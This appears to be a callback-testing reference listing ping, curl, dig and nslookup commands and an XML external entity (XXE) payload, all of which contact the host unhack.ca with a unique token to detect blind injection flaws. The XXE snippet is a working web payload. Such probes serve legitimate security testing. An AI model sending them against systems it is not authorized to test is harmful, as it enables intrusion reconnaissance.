$ ping -c1 -p 00404ae2bd7afd241a7ade403132ff00 unhack.ca
 

$ curl http://unhack.ca/p/404ae2bd7afd241a7ade403132ff
 

$ dig 404ae2bd7afd241a7ade403132ff @unhack.ca
 

$ dig 404ae2bd7afd241a7ade403132ff.ns.unhack.ca
 

C:\> nslookup 404ae2bd7afd241a7ade403132ff unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/404ae2bd7afd241a7ade403132ff">]>
    <foo>&xxe;</foo>